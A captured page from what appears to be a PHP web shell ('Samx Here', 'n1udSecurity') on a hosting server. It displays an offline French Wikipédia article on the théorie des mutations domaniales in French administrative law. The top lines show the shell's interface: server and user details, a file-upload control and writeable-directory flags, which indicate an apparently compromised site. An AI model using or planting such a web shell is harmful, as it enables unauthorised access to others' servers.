Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/t/h/é/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/t/h/é/Théorie_des_mutations_domaniales.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Théorie des mutations domaniales - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Théorie des mutations domaniales</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <p>La <b>théorie des mutations domaniales</b>, en <a href="../../../../articles/d/r/o/Droit_administratif_fran%C3%A7ais.html" class="mw-redirect" title="Droit administratif français">droit administratif français</a>, expose que l'<a href="../../../../articles/%C3%A9/t/a/%C3%89tat.html" title="État">État</a> peut, arbitrairement et sans indemnité, modifier l'affectation d'un bien appartenant au <a href="../../../../articles/d/o/m/Domaine_public_en_droit_public_fran%C3%A7ais.html" title="Domaine public en droit public français">domaine public</a> d'une autre <a href="../../../../articles/p/e/r/Personne_publique.html" title="Personne publique">personne publique</a>.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Expos.C3.A9_de_la_th.C3.A9orie"><span class="tocnumber">1</span> <span class="toctext">Exposé de la théorie</span></a></li>
<li class="toclevel-1"><a href="#Doctrine_et_jurisprudence"><span class="tocnumber">2</span> <span class="toctext">Doctrine et jurisprudence</span></a></li>
<li class="toclevel-1"><a href="#Vers_une_indemnisation_des_personnes_publiques"><span class="tocnumber">3</span> <span class="toctext">Vers une indemnisation des personnes publiques</span></a></li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">4</span> <span class="toctext">Voir aussi</span></a>
<ul>
<li class="toclevel-2"><a href="#Article_connexe"><span class="tocnumber">4.1</span> <span class="toctext">Article connexe</span></a></li>
<li class="toclevel-2"><a href="#Notes_et_r.C3.A9f.C3.A9rences"><span class="tocnumber">4.2</span> <span class="toctext">Notes et références</span></a></li>
</ul>
</li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Expos.C3.A9_de_la_th.C3.A9orie" id="Expos.C3.A9_de_la_th.C3.A9orie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_des_mutations_domaniales.html" title="Modifier la section&#160;: Exposé de la théorie">modifier</a>]</span> <span class="mw-headline">Exposé de la théorie</span></h2>
<p>En 1909, le <a href="../../../../articles/c/o/n/Conseil_d%27%C3%89tat_%28France%29_c4b7.html" title="Conseil d'État (France)">Conseil d'État</a> a indiqué que l'État pouvait de façon autoritaire, au nom de l'intérêt général, modifier l'affectation d'une dépendance appartenant au domaine public d'une <a href="../../../../articles/c/o/l/Collectivit%C3%A9_territoriale.html" class="mw-redirect" title="Collectivité territoriale">collectivité territoriale</a><sup id="cite_ref-0" class="reference"><a href="#cite_note-0" title=""><span class="cite_crochet">[</span>1<span class="cite_crochet">]</span></a></sup>. Cette conception a été désignée sous le nom de «&#160;théorie des mutations domaniales&#160;» par <a href="../../../../articles/m/a/r/Marcel_Waline_3f95.html" title="Marcel Waline">Marcel Waline</a><sup id="cite_ref-1" class="reference"><a href="#cite_note-1" title=""><span class="cite_crochet">[</span>2<span class="cite_crochet">]</span></a></sup> qui en a contesté la validité.</p>
<p>Selon cette théorie, l'État n'a pas à indemniser la collectivité territoriale car il n'y a pas de transfert de propriété mais seulement un changement d'affectation, dans l'intérêt général. L'arrêt de 1909 estime que le domaine public est grevé d'une «&#160;servitude dans l'intérêt du public&#160;» et que la puissance publique est libre de décider de l'affectation de ce domaine. Seuls les dommages de travaux publics peuvent le cas échéant faire l'objet de compensations financières. Dans une République unitaire tel que la France, selon les tenants de cette théorie, l'intérêt de l'État doit primer sur celui des autres personnes publiques. Il s'agit d'un principe général du domaine public.</p>
<p><a name="Doctrine_et_jurisprudence" id="Doctrine_et_jurisprudence"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_des_mutations_domaniales.html" title="Modifier la section&#160;: Doctrine et jurisprudence">modifier</a>]</span> <span class="mw-headline">Doctrine et jurisprudence</span></h2>
<p>Les juristes, depuis Hauriou qui parlait de «&#160;spoliation&#160;», ont souvent critiqué cette théorie en estimant qu'elle établissait une inégalité anormale entre l'État et les collectivités locales. Or le <a href="../../../../articles/c/o/n/Conseil_constitutionnel_fran%C3%A7ais.html" class="mw-redirect" title="Conseil constitutionnel français">Conseil constitutionnel</a>, dans une décision rendue le <a href="../../../../articles/2/5/_/25_juin.html" title="25 juin">25</a>&#160;<a href="../../../../articles/j/u/i/Juin.html" title="Juin">juin</a>&#160;<a href="../../../../articles/1/9/8/1986.html" title="1986">1986</a>, estime que le <a href="../../../../articles/d/r/o/Droit_de_propri%C3%A9t%C3%A9_en_France_39ae.html" title="Droit de propriété en France">droit de propriété</a> affirmé avec force par la <i><a href="../../../../articles/d/%C3%A9/c/D%C3%A9claration_des_droits_de_l%27homme_et_du_citoyen.html" title="Déclaration des droits de l'homme et du citoyen">Déclaration des droits de l'homme et du citoyen</a></i> de 1789 concerne «&#160;à titre égal la propriété de l'État et des autres personnes publiques&#160;». D'autre part, la réforme constitutionnelle de <a href="../../../../articles/2/0/0/2003_en_droit.html" title="2003 en droit">2003</a> a inscrit le rôle des collectivités territoriales dans la loi fondamentale. Enfin, l'État peut exercer ce droit par de simples décrets et sans concertation publique, même si le changement d'affectation a pour conséquence des travaux d'aménagements très importants.</p>
<p>Malgré ces considérations, le <a href="../../../../articles/o/r/d/Ordre_administratif_en_France_38a2.html" title="Ordre administratif en France">juge administratif</a> continue à reconnaître la théorie des mutations domaniales<sup id="cite_ref-2" class="reference"><a href="#cite_note-2" title=""><span class="cite_crochet">[</span>3<span class="cite_crochet">]</span></a></sup>. Elle fait toutefois l'objet d'applications assez rares.</p>
<p><a name="Vers_une_indemnisation_des_personnes_publiques" id="Vers_une_indemnisation_des_personnes_publiques"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_des_mutations_domaniales.html" title="Modifier la section&#160;: Vers une indemnisation des personnes publiques">modifier</a>]</span> <span class="mw-headline">Vers une indemnisation des personnes publiques</span></h2>
<p>Le <a href="../../../../articles/c/o/d/Code_g%C3%A9n%C3%A9ral_de_la_propri%C3%A9t%C3%A9_des_personnes_publiques.html" title="Code général de la propriété des personnes publiques">Code général de la propriété des personnes publiques</a>, en vigueur le 1<sup class="exposant">er</sup> juillet 2006, inscrit dans le droit positif le principe d'une indemnisation «&#160;à raison des dépenses ou de la privation de revenus qui peuvent en résulter pour la personne dessaisie&#160;» (article <span class="legifrance" style="font-size:100%"><a href="http://www.legifrance.gouv.fr/WAspad/UnArticleDeCode?code=CGPROPPL.rcv&amp;art=L2123-6" class="external text" title="http://www.legifrance.gouv.fr/WAspad/UnArticleDeCode?code=CGPROPPL.rcv&amp;art=L2123-6" rel="nofollow">L. 2123-6</a></span>). Si la portée exacte de cette indemnisation reste à préciser, son principe semble remettre en cause l'un des éléments les plus contestés par la doctrine de la technique des mutations domaniales.</p>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_des_mutations_domaniales.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<p><a name="Article_connexe" id="Article_connexe"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_des_mutations_domaniales.html" title="Modifier la section&#160;: Article connexe">modifier</a>]</span> <span class="mw-headline">Article connexe</span></h3>
<ul>
<li><a href="../../../../articles/d/o/m/Domaine_public_en_droit_public_fran%C3%A7ais.html" title="Domaine public en droit public français">Domaine public en droit public français</a></li>
<li>service <a href="../../../../articles/f/r/a/France_Domaine_02db.html" title="France Domaine">France Domaine</a></li>
</ul>
<p><a name="Notes_et_r.C3.A9f.C3.A9rences" id="Notes_et_r.C3.A9f.C3.A9rences"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_des_mutations_domaniales.html" title="Modifier la section&#160;: Notes et références">modifier</a>]</span> <span class="mw-headline">Notes et références</span></h3>
<div style="font-size: 85%">
<ol class="references">
<li id="cite_note-0"><span class="renvois_vers_le_texte"><a href="#cite_ref-0" title="">↑</a></span> Arrêt du Conseil d'État, 1909, <i>Ville de Paris et chemins de fer d’Orléans</i>, Rec., p. 707.</li>
<li id="cite_note-1"><span class="renvois_vers_le_texte"><a href="#cite_ref-1" title="">↑</a></span> Marcel Waline, <i>Les mutations domaniales</i>, thèse, 1925.</li>
<li id="cite_note-2"><span class="renvois_vers_le_texte"><a href="#cite_ref-2" title="">↑</a></span> Voir par exemple l'arrêt du Conseil d'État du 13 janvier 1984, <i>Commune de Thiais</i>, pour une affectation autoritaire par l'État d'une partie du territoire d'une commune à la circulation autoroutière.</li>
</ol>
</div>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/d/r/o/Image%7EDroit_fr.png_6a3f.html" class="image" title="Icône du portail du droit français"><img alt="Icône du portail du droit français" src="../../../../images/shared/thumb/2/20/Droit_fr.png/27px-Droit_fr.png" width="27" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/d/r/o/Portail%7EDroit_fran%C3%A7ais_4779.html" title="Portail:Droit français">Portail du droit français</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 280/1000000
Post-expand include size: 1273/2048000 bytes
Template argument size: 175/2048000 bytes
Expensive parser function count: 1/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégorie</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/d/r/o/Cat%C3%A9gorie%7EDroit_des_propri%C3%A9t%C3%A9s_publiques_6d66.html" title="Catégorie:Droit des propriétés publiques">Droit des propriétés publiques</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_des_mutations_domaniales.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/t/h/%C3%A9/Discuter%7ETh%C3%A9orie_des_mutations_domaniales_dbd4.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Th%C3%A9orie_des_mutations_domaniales">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 1 mars 2008 à 14:39 par Utilisateur <a href="../../../../articles/l/e/_/Utilisateur%7ELe_Pied-bot_aba6.html" title="Utilisateur:Le Pied-bot">Le Pied-bot</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/m/a/r/Utilisateur%7EMarceal_3645.html" title="Utilisateur:Marceal">Marceal</a>, <a href="../../../../articles/s/e/u/Utilisateur%7ESeudo_0df7.html" title="Utilisateur:Seudo">Seudo</a> et <a href="../../../../articles/e/r/a/Utilisateur%7EErasoft24_e7df.html" title="Utilisateur:Erasoft24">Erasoft24</a>.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX